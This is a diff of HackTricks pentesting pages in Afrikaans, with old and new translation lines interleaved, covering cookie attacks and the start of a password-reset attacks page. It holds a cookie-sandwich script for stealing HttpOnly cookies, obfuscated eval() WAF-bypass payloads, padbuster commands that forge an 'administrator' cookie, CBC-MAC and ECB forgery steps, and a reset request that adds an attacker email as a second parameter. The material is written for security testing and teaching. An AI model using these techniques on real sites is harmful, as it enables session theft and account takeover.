Cookies prefixed with `__Secure-` are required to be set alongside the `secure` flag from pages that are secured by HTTPS.
Koekies wat met `__Secure-` begin, moet saam met die `secure` vlag van bladsye wat deur HTTPS beveilig is, ingestel word.
For cookies prefixed with `__Host-`, several conditions must be met:
Vir koekies wat met `__Host-` begin, moet verskeie voorwaardes nagekom word:
- Hulle moet met die `secure` vlag ingestel word.
- Hulle moet gestel word met die `secure` vlag.
- Hulle moet afkomstig wees van 'n bladsy wat deur HTTPS beveilig is.
- Hulle is verbode om 'n domein te spesifiseer, wat hul oordrag na subdomeine verhoed.
- Die pad vir hierdie koekies moet op `/` ingestel wees.
- Dit is verbode om 'n domein te spesifiseer; dit voorkom dat hulle na subdomeine gestuur word.
- Die `path` vir hierdie cookies moet op `/` gestel word.
Dit is belangrik om daarop te let dat koekies wat met `__Host-` begin, nie toegelaat word om na superdomeine of subdomeine gestuur te word nie. Hierdie beperking help om toepassingskoekies te isoleer. Dus, om die `__Host-` voorvoegsel vir alle toepassingskoekies te gebruik, kan beskou word as 'n goeie praktyk om sekuriteit en isolasie te verbeter.
Dit is belangrik om te let dat cookies prefixed with `__Host-` are not allowed to be sent to superdomains or subdomains. Hierdie beperking help om application cookies te isoleer. Daarom kan die gebruik van die `__Host-` voorvoegsel vir alle application cookies as 'n goeie praktyk beskou word om sekuriteit en isolasie te verbeter.
### Oorskry van koekies
### Oorskryf van cookies
So, een van die beskermings van `__Host-` voorvoegsel koekies is om te verhoed dat hulle van subdomeine oorgeskryf word. Dit voorkom byvoorbeeld [**Koekie Tossing aanvalle**](cookie-tossing.md). In die praatjie [**Koekies Krummel: Ontsluiting van Web Sessies Integriteit Kwesbaarhede**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**papier**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) word aangebied dat dit moontlik was om \_\_HOST- voorvoegsel koekies van subdomein in te stel, deur die parser te bedrieg, byvoorbeeld, om "=" aan die begin of aan die begin en die einde toe te voeg...:
Een van die beskermings van cookies prefixed with `__Host-` is om te voorkom dat hulle deur subdomeine oorskryf word. Dit voorkom byvoorbeeld [**Cookie Tossing attacks**](cookie-tossing.md). In die praatjie [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) word aangebied dat dit moontlik was om `__HOST-` prefixed cookies vanaf 'n subdomein te stel deur die parser te mislei, byvoorbeeld deur "=" by die begin of by die begin en die einde by te voeg...:
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Of in PHP was dit moontlik om **ander karakters aan die begin** van die koekie naam toe te voeg wat gaan **vervang word deur onderstreep** karakters, wat toelaat om `__HOST-` koekies te oorskry:
Of in PHP was dit moontlik om **ander karakters aan die begin** van die cookie-naam by te voeg wat deur **onderstrepingskarakters vervang sou word**, wat dit moontlik gemaak het om `__HOST-` cookies oor te skryf:
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Koekies Aanvalle
## Cookies Aanvalle
As 'n pasgemaakte koekie sensitiewe data bevat, kyk dit (veral as jy 'n CTF speel), aangesien dit kwesbaar mag wees.
Indien 'n aangepaste cookie sensitiewe data bevat, kontroleer dit (veral as jy 'n CTF speel), aangesien dit kwesbaar mag wees.
### Dekodering en Manipulering van Koekies
### Dekodeer en Manipuleer Cookies
Sensitiewe data wat in koekies ingebed is, moet altyd ondersoek word. Koekies wat in Base64 of soortgelyke formate gekodeer is, kan dikwels gedekodeer word. Hierdie kwesbaarheid laat aanvallers toe om die koekie se inhoud te verander en ander gebruikers na te boots deur hul gewysigde data weer in die koekie te kodeer.
Sensitiewe data wat in cookies ingebed is, moet altyd ondersoek word. Cookies wat in Base64 of soortgelyke formate gekodeer is, kan dikwels ontkodeer word. Hierdie swakheid laat aanvallers toe om die cookie se inhoud te verander en ander gebruikers te naboots deur hul gewysigde data terug in die cookie te kodeer.
### Sessiediefstal
### Session Hijacking
Hierdie aanval behels die steel van 'n gebruiker se koekie om ongeoorloofde toegang tot hul rekening binne 'n toepassing te verkry. Deur die gesteelde koekie te gebruik, kan 'n aanvaller die wettige gebruiker na boots.
Hierdie aanval behels die steel van 'n gebruiker se cookie om ongemagtigde toegang tot hul rekening in 'n toepassing te verkry. Deur die gesteelde cookie te gebruik, kan 'n aanvaller die wettige gebruiker naboots.
### Sessiefiksasie
### Session Fixation
In hierdie scenario bedrieg 'n aanvaller 'n slagoffer om 'n spesifieke koekie te gebruik om in te log. As die toepassing nie 'n nuwe koekie toeken nie wanneer daar ingelog word, kan die aanvaller, wat die oorspronklike koekie besit, die slagoffer na boots. Hierdie tegniek staat op die slagoffer wat inlog met 'n koekie wat deur die aanvaller verskaf is.
In hierdie scenario mislei 'n aanvaller 'n slagoffer om 'n spesifieke cookie te gebruik om aan te meld. As die toepassing nie 'n nuwe cookie toewys tydens aanmelding nie, kan die aanvaller, wat die oorspronklike cookie besit, die slagoffer naboots. Hierdie tegniek berus daarop dat die slagoffer aanmeld met 'n cookie wat deur die aanvaller voorsien is.
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
As jy 'n **XSS in 'n subdomein** gevind het of jy **beheer 'n subdomein**, lees:
{{#ref}}
cookie-tossing.md
{{#endref}}
### Sessiedonasie
### Session Donation
Hier oortuig die aanvaller die slagoffer om die aanvaller se sessie koekie te gebruik. Die slagoffer, wat glo dat hulle in hul eie rekening ingelog is, sal onbewustelik aksies in die konteks van die aanvaller se rekening uitvoer.
Hier oortuig die aanvaller die slagoffer om die aanvaller se sessie-cookie te gebruik. Die slagoffer, wat glo hy is by sy eie rekening aangemeld, sal onbedoeld aksies uitvoer in die konteks van die aanvaller se rekening.
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
As jy 'n **XSS in 'n subdomein** gevind het of jy **beheer 'n subdomein**, lees:
{{#ref}}
cookie-tossing.md
{{#endref}}
### [JWT Koekies](../hacking-jwt-json-web-tokens.md)
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
Klik op die vorige skakel om toegang te verkry tot 'n bladsy wat moontlike gebreke in JWT verduidelik.
Klik op die vorige skakel om na 'n bladsy te gaan wat moontlike foutjies in JWT verduidelik.
JSON Web Tokens (JWT) wat in koekies gebruik word, kan ook kwesbaarhede hê. Vir diepgaande inligting oor potensiële gebreke en hoe om dit te benut, word dit aanbeveel om die gekoppelde dokument oor die hacking van JWT te raadpleeg.
JSON Web Tokens (JWT) wat in cookies gebruik word, kan ook kwesbaarhede hê. Vir diepgaande inligting oor potensiële swakhede en hoe om dit uit te buit, word dit aanbeveel om die gekoppelde dokument oor hacking JWT te raadpleeg.
### Kruis-web Versoek Forgery (CSRF)
### Cross-Site Request Forgery (CSRF)
Hierdie aanval dwing 'n ingelogde gebruiker om ongewenste aksies op 'n webtoepassing uit te voer waarin hulle tans geverifieer is. Aanvallers kan koekies wat outomaties met elke versoek na die kwesbare webwerf gestuur word, benut.
Hierdie aanval dwing 'n ingemelde gebruiker om ongewenste aksies op 'n webtoepassing uit te voer waarin hulle tans geauthentiseer is. Aanvallers kan cookies uitbuit wat outomaties met elke versoek na die kwesbare webwerf gestuur word.
### Leë Koekies
### Leë Cookies
(Kyk verdere besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Blaaiers laat die skepping van koekies sonder 'n naam toe, wat deur JavaScript soos volg demonstreer kan word:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
```
Die resultaat in die gestuurde koekie kop is `a=v1; test value; b=v2;`. Interessant genoeg, dit stel die manipulasie van koekies in staat as 'n leë naam koekie gestel word, wat moontlik ander koekies kan beheer deur die leë koekie na 'n spesifieke waarde te stel:
Die resultaat in die gestuurde cookie header is `a=v1; test value; b=v2;`. Intrigerend genoeg maak dit manipulasie van cookies moontlik as 'n cookie met 'n leë naam gestel word, moontlik ander cookies te beheer deur die leë cookie op 'n spesifieke waarde te stel:
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
@ -155,109 +165,110 @@ document.cookie = `${name}=${value}`
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
```
Dit lei daartoe dat die blaaiert 'n koekie-header stuur wat deur elke webbediener geïnterpreteer word as 'n koekie met die naam `a` en 'n waarde `b`.
Dit lei daartoe dat die browser 'n cookie-header stuur wat deur elke webbediener geïnterpreteer word as 'n cookie met die naam `a` en die waarde `b`.
#### Chrome Fout: Unicode Surrogate Codepoint Probleem
#### Chrome Bug: Unicode Surrogate Codepoint Issue
In Chrome, as 'n Unicode surrogate codepoint deel is van 'n stel koekie, word `document.cookie` beskadig, wat 'n leë string teruggee:
In Chrome, indien 'n Unicode surrogate codepoint deel van 'n set cookie is, word `document.cookie` gekorrupteer en gee daarna 'n leë string terug:
```js
document.cookie = "\ud800=meep"
```
Dit lei tot `document.cookie` wat 'n leë string uitset, wat permanente korrupsie aandui.
Dit lei daartoe dat `document.cookie` 'n leë string teruggee, wat permanente korrupsie aandui.
#### Koekie Smuggling As gevolg van Parsing Probleme
#### Cookie Smuggling weens parsingsprobleme
(Kyk na verdere besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Verskeie webbedieners, insluitend dié van Java (Jetty, TomCat, Undertow) en Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), hanteer koekie stringe verkeerd as gevolg van verouderde RFC2965 ondersteuning. Hulle lees 'n dubbel-aanhaling koekiewaarde as 'n enkele waarde, selfs al sluit dit puntkommas in, wat normaalweg sleutel-waarde pare moet skei:
(Kyk verder na die besonderhede in die[original research](https://blog.ankursundara.com/cookie-bugs/)) Verskeie webbedieners, insluitend dié van Java (Jetty, TomCat, Undertow) en Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), hanteer cookie strings verkeerd as gevolg van verouderde RFC2965-ondersteuning. Hulle lees 'n double-quoted cookie value as 'n enkele waarde, selfs al bevat dit semikolons, wat normaalweg key-value pairs van mekaar moet skei:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Koekie-inspuitingskw vulnerabilities
#### Cookie Injection Vulnerabilities
(Kyk na verdere besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Die onakkurate ontleding van koekies deur bedieners, veral Undertow, Zope, en dié wat Python se `http.cookie.SimpleCookie` en `http.cookie.BaseCookie` gebruik, skep geleenthede vir koekie-inspuitingsaanvalle. Hierdie bedieners slaag nie daarin om die begin van nuwe koekies behoorlik te begrens nie, wat dit vir aanvallers moontlik maak om koekies na te maak:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Die verkeerde parsing van cookies deur servers, veral Undertow, Zope en diegene wat Python se `http.cookie.SimpleCookie` en `http.cookie.BaseCookie` gebruik, skep geleenthede vir cookie injection-aanvalle. Hierdie servers baken die begin van nuwe cookies nie behoorlik af nie, wat aanvallers toelaat om cookies te spoof:
- Undertow verwag 'n nuwe koekie onmiddellik na 'n aangehaalde waarde sonder 'n puntkomma.
- Zope soek 'n komma om die volgende koekie te begin ontleed.
- Python se koekieklasse begin ontleed op 'n spasiekarakter.
- Undertow verwag 'n nuwe cookie onmiddellik na 'n gequote waarde sonder 'n semikolon.
- Zope soek 'n komma om die parsing van die volgende cookie te begin.
- Python se cookie-klasse begin parsing op 'n spasie-karakter.
Hierdie kwesbaarheid is veral gevaarlik in webtoepassings wat op koekie-gebaseerde CSRF-beskerming staatmaak, aangesien dit aanvallers in staat stel om nagebootste CSRF-token koekies in te spuit, wat moontlik sekuriteitsmaatreëls kan omseil. Die probleem word vererger deur Python se hantering van duplikaat koekiename, waar die laaste voorkoms vroeëre oorskry. Dit wek ook kommer vir `__Secure-` en `__Host-` koekies in onveilige kontekste en kan lei tot magtigingsoorskryding wanneer koekies aan agtergrondbedieners oorgedra word wat vatbaar is vir nabootsing.
Hierdie kwesbaarheid is besonders gevaarlik in webtoepassings wat op cookie-gebaseerde CSRF-beskerming staatmaak, aangesien dit aanvallers toelaat om vervalste CSRF-token cookies te injekteer en moontlik sekuriteitsmaatreëls te omseil. Die probleem word vererger deur Python se hantering van duplikaat cookie-name, waar die laaste voorkoms vroeër een oor skryf. Dit wek ook kommer vir `__Secure-` en `__Host-` cookies in onveilige kontekste en kan lei tot authorization bypasses wanneer cookies aan back-end servers deurgegee word wat vatbaar is vir spoofing.
### Koekies $version
### Cookies $version
#### WAF Omspring
#### WAF Bypass
Volgens [**hierdie blogpos**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), mag dit moontlik wees om die koekie-attribuut **`$Version=1`** te gebruik om die agtergrond 'n ou logika te laat gebruik om die koekie te ontleed as gevolg van die **RFC2109**. Boonop kan ander waardes soos **`$Domain`** en **`$Path`** gebruik word om die gedrag van die agtergrond met die koekie te verander.
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), dit kan moontlik wees om die cookie-attribuut **`$Version=1`** te gebruik sodat die backend 'n ou logika gebruik om die cookie te parse weens **RFC2109**. Verder kan ander waardes soos **`$Domain`** en **`$Path`** gebruik word om die gedrag van die backend met die cookie te verander.
#### Koekie-sandwich-aanval
#### Cookie Sandwich Attack
Volgens [**hierdie blogpos**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) is dit moontlik om die koekie-sandwich-tegniek te gebruik om HttpOnly koekies te steel. Dit is die vereistes en stappe:
According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) is dit moontlik om die cookie sandwich-tegniek te gebruik om HttpOnly cookies te steel. Dit is die vereistes en stappe:
- Vind 'n plek waar 'n blykbaar nuttelose **koekie in die antwoord weerspieël word**
- **Skep 'n koekie genaamd `$Version`** met die waarde `1` (jy kan dit in 'n XSS-aanval vanaf JS doen) met 'n meer spesifieke pad sodat dit die aanvanklike posisie kry (sommige raamwerke soos Python het nie hierdie stap nodig nie)
- **Skep die koekie wat weerspieël word** met 'n waarde wat 'n **oop dubbele aanhalingstekens** laat en met 'n spesifieke pad sodat dit in die koekiedatabasis na die vorige een (`$Version`) geposisioneer word
- Dan sal die wettige koekie volgende in die volgorde kom
- **Skep 'n vals koekie wat die dubbele aanhalingstekens** binne sy waarde sluit
- Vind 'n plek waar 'n skynbaar nuttelose **cookie in die response gereflekteer word**
- **Create a cookie called `$Version`** met waarde `1` (jy kan dit in 'n XSS-aanval vanaf JS doen) met 'n meer spesifieke path sodat dit die aanvanklike posisie kry (sommige frameworks soos python benodig nie hierdie stap nie)
- **Create the cookie that is reflected** met 'n waarde wat 'n **oop dubbel-aanhalingsteken** oorlaat en met 'n spesifieke path sodat dit in die cookie db ná die vorige een (`$Version`) geposisioneer word
- Dan sal die regte cookie volgende in die volgorde kom
- **Create a dummy cookie that closes the double quotes** binne sy waarde
Op hierdie manier word die slagoffer koekie vasgevang binne die nuwe koekie weergawe 1 en sal dit weerspieël word wanneer dit weerspieël word.
Op hierdie manier word die slagoffer-cookie vasgevang binne die nuwe cookie version 1 en sal dit gereflekteer word elke keer wanneer dit gereflekteer word.
e.g. from the post:
```javascript
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;
```
### WAF omseilings
### WAF bypasses
#### Cookies $version
Kyk na die vorige afdeling.
#### Omseiling van waarde-analise met aangehaalde-string kodering
#### Bypassing value analysis with quoted-string encoding
Hierdie ontleding dui aan om ontsnapte waardes binne die koekies te ontsnap, sodat "\a" "a" word. Dit kan nuttig wees om WAFS te omseil soos:
Hierdie parsing beteken dat ontsnapte karakters binne cookies teruggesit word, dus "\a" word "a". Dit kan nuttig wees om WAFs te omseil soos:
- `eval('test') => verbode`
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => toegelaat`
- `eval('test') => forbidden`
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
#### Omseiling van koekie-naam bloklys
#### Bypassing cookie-name blocklists
In die RFC2109 word aangedui dat 'n **komma as 'n skeidingsteken tussen koekiewaardes gebruik kan word**. En dit is ook moontlik om **spasies en tabulasies voor en na die gelykteken by te voeg**. Daarom genereer 'n koekie soos `$Version=1; foo=bar, abc = qux` nie die koekie `"foo":"bar, admin = qux"` nie, maar die koekies `foo":"bar"` en `"admin":"qux"`. Let op hoe 2 koekies gegenereer word en hoe admin die spasie voor en na die gelykteken verwyder is.
In die RFC2109 word aangedui dat 'n **komma as 'n skeier tussen cookie values gebruik kan word**. En dit is ook moontlik om **spasies en tabs voor en na die gelykheidsteken** by te voeg. Daarom genereer 'n cookie soos `$Version=1; foo=bar, abc = qux` nie die cookie `"foo":"bar, admin = qux"` nie maar die cookies `foo":"bar"` en `"admin":"qux"`. Let daarop hoe 2 cookies gegenereer word en hoe die spasie voor en na die gelykheidsteken by admin verwyder is.
#### Omseiling van waarde-analise met koekie-skeiding
#### Bypassing value analysis with cookie splitting
Laastens sou verskillende agterdeure in 'n string verskillende koekies wat in verskillende koekie-koptekste oorgedra is, saamvoeg soos in:
Laastens sal verskillende backdoors verskillende cookies wat in verskillende cookie headers gestuur word in 'n string saamvoeg, soos in:
```
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
```
Wat kan toelaat om 'n WAF te omseil soos in hierdie voorbeeld:
Wat dit moontlik kan maak om 'n WAF te omseil, soos in hierdie voorbeeld:
```
Cookie: name=eval('test//
Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
```
### Ekstra Kwetsbare Koekies Kontroles
### Ekstra Kwesbare Cookies Kontroles
#### **Basiese kontroles**
- Die **koekie** is **dieselfde** elke keer wanneer jy **aanmeld**.
- Meld uit en probeer om dieselfde koekie te gebruik.
- Probeer om met 2 toestelle (of blaaiers) na dieselfde rekening aan te meld met dieselfde koekie.
- Kontroleer of die koekie enige inligting bevat en probeer om dit te wysig.
- Probeer om verskeie rekeninge met amper dieselfde gebruikersnaam te skep en kyk of jy ooreenkomste kan sien.
- Kontroleer die "**onthou my**" opsie indien dit bestaan om te sien hoe dit werk. As dit bestaan en kwesbaar kan wees, gebruik altyd die koekie van **onthou my** sonder enige ander koekie.
- Kontroleer of die vorige koekie werk selfs nadat jy die wagwoord verander.
- Die **cookie** is elke keer **dieselfde** wanneer jy **login**.
- Log out en probeer om dieselfde cookie te gebruik.
- Probeer om met 2 devices (of browsers) na dieselfde account te log in terwyl jy dieselfde cookie gebruik.
- Kontroleer of die cookie enige inligting daarin het en probeer om dit te wysig.
- Probeer om verskeie accounts te skep met byna dieselfde username en kyk of jy ooreenkomste sien.
- Kontroleer die "**remember me**" opsie as dit bestaan om te sien hoe dit werk. As dit bestaan en moontlik kwesbaar is, gebruik altyd die cookie van **remember me** sonder enige ander cookie.
- Kontroleer of die vorige cookie werk selfs nadat jy die wagwoord verander het.
#### **Geavanceerde koekie-aanvalle**
#### **Gevorderde Cookies-aanvalle**
As die koekie dieselfde bly (of amper) wanneer jy aanmeld, beteken dit waarskynlik dat die koekie verband hou met 'n veld van jou rekening (waarskynlik die gebruikersnaam). Dan kan jy:
As die cookie dieselfde bly (of byna) wanneer jy **log in**, beteken dit waarskynlik dat die cookie verwant is aan 'n veld van jou account (waarskynlik die username). Dan kan jy:
- Probeer om baie **rekeninge** met gebruikersname wat baie **soortgelyk** is te skep en probeer om te **raai** hoe die algoritme werk.
- Probeer om die **gebruikersnaam te bruteforce**. As die koekie slegs as 'n verifikasiemetode vir jou gebruikersnaam gestoor word, kan jy 'n rekening met die gebruikersnaam "**Bmin**" skep en elke enkele **bit** van jou koekie **bruteforce** omdat een van die koekies wat jy gaan probeer die een behoort aan "**admin**".
- Probeer **Padding** **Oracle** (jy kan die inhoud van die koekie ontsleutel). Gebruik **padbuster**.
- Probeer om baie **accounts** te skep met username baie **soortgelyk** en probeer om te **raai** hoe die algoritme werk.
- Probeer **bruteforce the username**. As die cookie slegs as 'n authenticatiemethode vir jou username gestoor word, kan jy 'n account skep met username "**Bmin**" en **bruteforce** elke enkele **bit** van jou cookie, omdat een van die cookies wat jy sal probeer die een sal wees wat aan "**admin**" behoort.
- Probeer **Padding** **Oracle** (jy kan die inhoud van die cookie ontsleutel). Gebruik **padbuster**.
**Padding Oracle - Padbuster voorbeelde**
**Padding Oracle - Padbuster examples**
```bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
@ -267,43 +278,46 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
```
Padbuster sal verskeie pogings maak en jou vra watter voorwaarde die foutvoorwaarde is (die een wat nie geldig is nie).
Padbuster sal verskeie pogings doen en jou vra watter toestand die fouttoestand is (die een wat nie geldig is nie).
Dan sal dit begin om die koekie te ontsleutel (dit kan 'n paar minute neem).
Dan sal dit begin decrypting die cookie (dit kan several minute neem)
As die aanval suksesvol uitgevoer is, kan jy probeer om 'n string van jou keuse te enkripteer. Byvoorbeeld, as jy sou wil **encrypt** **user=administrator**
As die attack suksesvol uitgevoer is, kan jy probeer om 'n string van jou keuse te encrypt. Byvoorbeeld, as jy sou wil **encrypt** **user=administrator**
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
Hierdie uitvoering sal jou die koekie korrek versleuteld en gekodeer met die string **user=administrator** binne-in gee.
Hierdie uitvoering sal jou die cookie korrek geënkripteer en gekodeer gee met die string **user=administrator** daarin.
**CBC-MAC**
Miskien kan 'n koekie 'n waarde hê en kan dit onderteken word met CBC. Dan is die integriteit van die waarde die handtekening wat geskep is deur CBC met dieselfde waarde te gebruik. Aangesien dit aanbeveel word om 'n nulvektor as IV te gebruik, kan hierdie tipe integriteitskontrole kwesbaar wees.
Miskien kan 'n cookie 'n waarde hê en met CBC geteken word. Dan is die integriteit van die waarde die handtekening wat geskep word deur CBC op dieselfde waarde toe te pas. Aangesien dit aanbeveel word om as IV 'n null vector te gebruik, kan hierdie tipe integriteitskontrole kwesbaar wees.
**Die aanval**
1. Kry die handtekening van gebruikersnaam **administ** = **t**
2. Kry die handtekening van gebruikersnaam **rator\x00\x00\x00 XOR t** = **t'**
3. Stel in die koekie die waarde **administrator+t'** (**t'** sal 'n geldige handtekening wees van **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
3. Stel in die cookie die waarde **administrator+t'** (**t'** sal 'n geldige handtekening wees van **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**)
**ECB**
As die koekie met ECB versleuteld is, kan dit kwesbaar wees.\
Wanneer jy aanmeld, moet die koekie wat jy ontvang altyd dieselfde wees.
As die cookie met ECB geënkripteer word, kan dit kwesbaar wees.\
Wanneer jy aanmeld, moet die cookie wat jy ontvang altyd dieselfde wees.
**Hoe om te detecteer en aan te val:**
**Hoe om te ontdek en aan te val:**
Skep 2 gebruikers met byna dieselfde data (gebruikersnaam, wagwoord, e-pos, ens.) en probeer om 'n patroon binne die gegewe koekie te ontdek.
Skep 2 gebruikers met byna dieselfde data (username, password, email, ens.) en probeer 'n patroon binne die gegewe cookie ontdek.
Skep 'n gebruiker genoem byvoorbeeld "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" en kyk of daar enige patroon in die koekie is (aangesien ECB met dieselfde sleutel elke blok versleutelt, kan dieselfde versleutelde bytes verskyn as die gebruikersnaam versleuteld word).
Skep 'n gebruiker byvoorbeeld "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" en kyk of daar enige patroon in die cookie is (aangesien ECB met dieselfde sleutel elke blok enkripteer, kan dieselfde geënkripteerde bytes verskyn as die gebruikersnaam geënkripteer word).
Daar moet 'n patroon wees (met die grootte van 'n gebruikte blok). So, deur te weet hoe 'n klomp "a" versleuteld is, kan jy 'n gebruikersnaam skep: "a"\*(grootte van die blok)+"admin". Dan kan jy die versleutelde patroon van 'n blok van "a" uit die koekie verwyder. En jy sal die koekie van die gebruikersnaam "admin" hê.
Daar behoort 'n patroon te wees (met die grootte van 'n gebruikte blok). Dus, as jy weet hoe 'n klomp "a" geënkripteer word, kan jy 'n gebruikersnaam skep: "a"\*(size of the block)+"admin". Dan kan jy die geënkripteerde patroon van 'n blok "a" uit die cookie verwyder. En jy sal die cookie van die gebruikersnaam "admin" hê.
## References
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../../banners/hacktricks-training.md}}

244
src/pentesting-web/reset-password.md
View File

@ -2,180 +2,181 @@
{{#include ../banners/hacktricks-training.md}}
## **Wagwoord Herstel Token Lek Via Verwysing**
## **Password Reset Token Leak Via Referrer**
- Die HTTP referer kop kan die wagwoord herstel token lek as dit in die URL ingesluit is. Dit kan gebeur wanneer 'n gebruiker op 'n derdeparty-webwerf skakel nadat hy 'n wagwoord herstel aangevra het.
- **Impak**: Potensiële rekening oorname via Cross-Site Request Forgery (CSRF) aanvalle.
- **Eksploitatie**: Om te kontroleer of 'n wagwoord herstel token in die referer kop lek, **versoek 'n wagwoord herstel** na jou e-posadres en **klik op die herstel skakel** wat gegee is. **Moet nie jou wagwoord** onmiddellik verander nie. In plaas daarvan, **navigeer na 'n derdeparty-webwerf** (soos Facebook of Twitter) terwyl jy **die versoeke met Burp Suite onderskep**. Ondersoek die versoeke om te sien of die **referer kop die wagwoord herstel token bevat**, aangesien dit sensitiewe inligting aan derde partye kan blootstel.
- **Verwysings**:
- Die HTTP referer header kan die password reset token leak as dit in die URL ingesluit is. Dit kan gebeur wanneer 'n gebruiker op 'n third-party website link klik nadat hy 'n password reset versoek ingedien het.
- **Impact**: Potensiële account takeover via Cross-Site Request Forgery (CSRF) attacks.
- **Exploitation**: Om te kontroleer of 'n password reset token in die referer header leak, **request a password reset** na jou email adres en **click the reset link** wat verskaf is. **Do not change your password** onmiddellik. In plaas daarvan, **navigate to a third-party website** (soos Facebook of Twitter) terwyl jy **intercepting the requests using Burp Suite**. Inspekteer die requests om te sien of die **referer header contains the password reset token**, aangesien dit sensitiewe inligting aan derde partye kan blootstel.
- **References**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [Wagwoord Herstel Token Lek Artikel](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **Wagwoord Herstel Vergiftiging**
## **Password Reset Poisoning**
- Aanvallers kan die Host kop manipuleer tydens wagwoord herstel versoeke om die herstel skakel na 'n kwaadwillige webwerf te wys.
- **Impak**: Lei tot potensiële rekening oorname deur die lek van herstel tokens aan aanvallers.
- **Versagtingsstappe**:
- Valideer die Host kop teen 'n witlys van toegelate domeine.
- Gebruik veilige, bediener-kant metodes om absolute URL's te genereer.
- **Plek**: Gebruik `$_SERVER['SERVER_NAME']` om wagwoord herstel URL's te konstrueer in plaas van `$_SERVER['HTTP_HOST']`.
- **Verwysings**:
- [Acunetix Artikel oor Wagwoord Herstel Vergiftiging](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
- **Impact**: Lei tot potensiële account takeover deur reset tokens na attackers te leak.
- **Mitigation Steps**:
- Valideer die Host header teen 'n whitelist van toegelate domeine.
- Gebruik veilige, server-side metodes om absolute URLs te genereer.
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
- **References**:
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Wagwoord Herstel Deur E-pos Parameter te Manipuleer**
## **Password Reset By Manipulating Email Parameter**
Aanvallers kan die wagwoord herstel versoek manipuleer deur addisionele e-pos parameters by te voeg om die herstel skakel te omlei.
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
- Voeg aanvaller se e-pos as tweede parameter by met &
- Add attacker email as second parameter using &
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
